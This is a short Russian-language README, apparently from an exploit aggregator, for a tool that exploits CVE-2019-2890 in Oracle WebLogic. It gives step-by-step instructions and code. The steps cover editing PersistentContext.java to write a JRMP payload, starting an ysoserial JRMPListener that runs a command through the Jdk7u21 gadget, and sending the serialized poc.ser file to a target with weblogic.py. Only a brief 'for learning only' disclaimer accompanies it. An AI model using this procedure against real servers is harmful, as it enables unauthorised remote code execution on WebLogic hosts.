Exploit for CVE-2019-2890

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-L1NK3RLIN-CVE-2019-2890
## Отказ от ответственности

Только для обучения и обмена опытом. За иное использование ответственность несёте вы сами.

## Пояснение

Все необходимые jar-файлы уже импортированы в проект, а в качестве метода эксплуатации используется JRMP из yso. При изучении и отладке способ эксплуатации можно изменить.

Сначала поместите файл **SerializedSystemIni.dat** из каталога weblogic в папку **security**.

Затем переименуйте yso в **ysoserial.jar** и импортируйте его в каталог **lib**.

![1](https://assets.kitploit.com/production/public/readmes/28268/6a0be37a1a721c868e67a33ab2695142f691036b935166a4e0740e36066df771.png)

Далее укажите IP-адрес и порт в методе **getObject** в файле **weblogic/wsee/jaxws/persistence/PersistentContext.java**.

root@kitploit:~
    
    
            try {
                var3.writeObject(Poc.getObject("127.0.0.1:8000"));
            } catch (Exception e) {
                e.printStackTrace();
            }
    

Наконец, удалённо прослушивайте через JRMP и выполняйте команду с использованием 7u21.

root@kitploit:~
    
    
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8000 Jdk7u21 "calc.exe"
    

Порядок использования: запустите Poc.java для генерации сериализованного файла poc.ser, затем выполните:

root@kitploit:~
    
    
    python weblogic.py ip port poc.ser